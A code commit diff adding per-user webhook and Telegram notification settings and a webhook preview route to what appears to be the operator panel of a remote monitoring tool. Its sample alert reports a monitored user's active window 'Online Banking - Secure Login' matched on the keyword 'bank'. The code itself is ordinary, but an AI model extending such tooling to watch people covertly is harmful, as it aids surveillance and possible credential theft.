better notification system
This commit is contained in:
@@ -3,6 +3,15 @@ import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { getConfig, updateNotificationsConfig } from "../../config";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import {
|
||||
getUserNotificationSettings,
|
||||
updateUserNotificationSettings,
|
||||
} from "../../users";
|
||||
import {
|
||||
DEFAULT_WEBHOOK_TEMPLATE,
|
||||
DEFAULT_TELEGRAM_TEMPLATE,
|
||||
renderNotificationTemplate,
|
||||
} from "../notification-delivery";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
@@ -160,5 +169,207 @@ export async function handleNotificationsConfigRoutes(
|
||||
return Response.json({ ok: true, notifications: updated });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/notifications/my-settings") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET") {
|
||||
const settings = getUserNotificationSettings(user.userId) ?? {
|
||||
webhook_enabled: 0,
|
||||
webhook_url: null,
|
||||
webhook_template: null,
|
||||
telegram_enabled: 0,
|
||||
telegram_bot_token: null,
|
||||
telegram_chat_id: null,
|
||||
telegram_template: null,
|
||||
};
|
||||
return Response.json({
|
||||
settings,
|
||||
defaults: {
|
||||
webhookTemplate: DEFAULT_WEBHOOK_TEMPLATE,
|
||||
telegramTemplate: DEFAULT_TELEGRAM_TEMPLATE,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "PUT") {
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const patch: Record<string, any> = {};
|
||||
|
||||
if (typeof body?.webhook_enabled === "boolean" || typeof body?.webhook_enabled === "number") {
|
||||
patch.webhook_enabled = body.webhook_enabled ? 1 : 0;
|
||||
}
|
||||
if (typeof body?.webhook_url === "string") {
|
||||
const url_val = body.webhook_url.trim();
|
||||
if (url_val) {
|
||||
try {
|
||||
const parsed = new URL(url_val);
|
||||
if (!/^https?:$/.test(parsed.protocol)) {
|
||||
return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
|
||||
}
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
|
||||
}
|
||||
}
|
||||
patch.webhook_url = url_val || null;
|
||||
}
|
||||
if (typeof body?.webhook_template === "string") {
|
||||
patch.webhook_template = body.webhook_template.trim() || null;
|
||||
}
|
||||
if (typeof body?.telegram_enabled === "boolean" || typeof body?.telegram_enabled === "number") {
|
||||
patch.telegram_enabled = body.telegram_enabled ? 1 : 0;
|
||||
}
|
||||
if (typeof body?.telegram_bot_token === "string") {
|
||||
patch.telegram_bot_token = body.telegram_bot_token.trim() || null;
|
||||
}
|
||||
if (typeof body?.telegram_chat_id === "string") {
|
||||
patch.telegram_chat_id = body.telegram_chat_id.trim() || null;
|
||||
}
|
||||
if (typeof body?.telegram_template === "string") {
|
||||
patch.telegram_template = body.telegram_template.trim() || null;
|
||||
}
|
||||
|
||||
const result = updateUserNotificationSettings(user.userId, patch);
|
||||
if (!result.success) {
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
const updated = getUserNotificationSettings(user.userId);
|
||||
return Response.json({ ok: true, settings: updated });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/notifications/my-settings/preview/webhook") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const webhookUrl = typeof body?.webhookUrl === "string" ? body.webhookUrl.trim() : "";
|
||||
const webhookTemplate = typeof body?.webhookTemplate === "string" ? body.webhookTemplate : "";
|
||||
|
||||
if (!webhookUrl) {
|
||||
return Response.json({ error: "Webhook URL is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(webhookUrl);
|
||||
if (!/^https?:$/.test(parsed.protocol)) {
|
||||
return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
|
||||
}
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
|
||||
}
|
||||
|
||||
const sampleRecord = {
|
||||
id: "preview-notification",
|
||||
clientId: "abc123def456",
|
||||
host: "DESKTOP-7G2ABK1",
|
||||
user: "john.doe",
|
||||
os: "windows",
|
||||
title: "Online Banking - Secure Login",
|
||||
process: "chrome.exe",
|
||||
processPath: "C:/Program Files/Google/Chrome/Application/chrome.exe",
|
||||
pid: 4392,
|
||||
keyword: "bank",
|
||||
category: "active_window" as const,
|
||||
ts: Date.now(),
|
||||
};
|
||||
|
||||
const payload = renderNotificationTemplate(
|
||||
webhookTemplate,
|
||||
sampleRecord,
|
||||
DEFAULT_WEBHOOK_TEMPLATE,
|
||||
);
|
||||
|
||||
const canonicalPayload = JSON.stringify({ type: "notification", data: sampleRecord });
|
||||
const customTemplate = webhookTemplate.trim();
|
||||
let jsonPayloadToSend = canonicalPayload;
|
||||
if (customTemplate) {
|
||||
try {
|
||||
jsonPayloadToSend = JSON.stringify(JSON.parse(payload));
|
||||
} catch {
|
||||
jsonPayloadToSend = canonicalPayload;
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
|
||||
let response: Response;
|
||||
let sentPayload = jsonPayloadToSend;
|
||||
let sentMode: "json" | "discord" = "json";
|
||||
|
||||
if (isDiscord) {
|
||||
sentMode = "discord";
|
||||
const discordPayload = {
|
||||
content: `🔔 Notification: ${sampleRecord.title}`,
|
||||
embeds: [
|
||||
{
|
||||
title: sampleRecord.keyword ? `Keyword: ${sampleRecord.keyword}` : "Active Window",
|
||||
description: sampleRecord.title,
|
||||
fields: [
|
||||
{ name: "Client", value: sampleRecord.clientId || "unknown", inline: true },
|
||||
{ name: "User", value: sampleRecord.user || "unknown", inline: true },
|
||||
{ name: "Host", value: sampleRecord.host || "unknown", inline: true },
|
||||
{ name: "Process", value: sampleRecord.process || "unknown", inline: true },
|
||||
],
|
||||
timestamp: new Date(sampleRecord.ts).toISOString(),
|
||||
},
|
||||
],
|
||||
};
|
||||
sentPayload = JSON.stringify(discordPayload);
|
||||
response = await fetch(parsed.toString(), {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: sentPayload,
|
||||
});
|
||||
} else {
|
||||
response = await fetch(parsed.toString(), {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: jsonPayloadToSend,
|
||||
});
|
||||
}
|
||||
|
||||
const responseText = await response.text().catch(() => "");
|
||||
|
||||
return Response.json({
|
||||
ok: response.ok,
|
||||
status: response.status,
|
||||
statusText: response.statusText,
|
||||
mode: sentMode,
|
||||
payload: sentPayload,
|
||||
responseBody: responseText ? responseText.slice(0, 500) : "",
|
||||
});
|
||||
} catch (err: any) {
|
||||
return Response.json(
|
||||
{ error: err?.message || "Failed to POST preview webhook" },
|
||||
{ status: 502 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -205,7 +205,7 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
|
||||
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
|
||||
Reference in New Issue
Block a user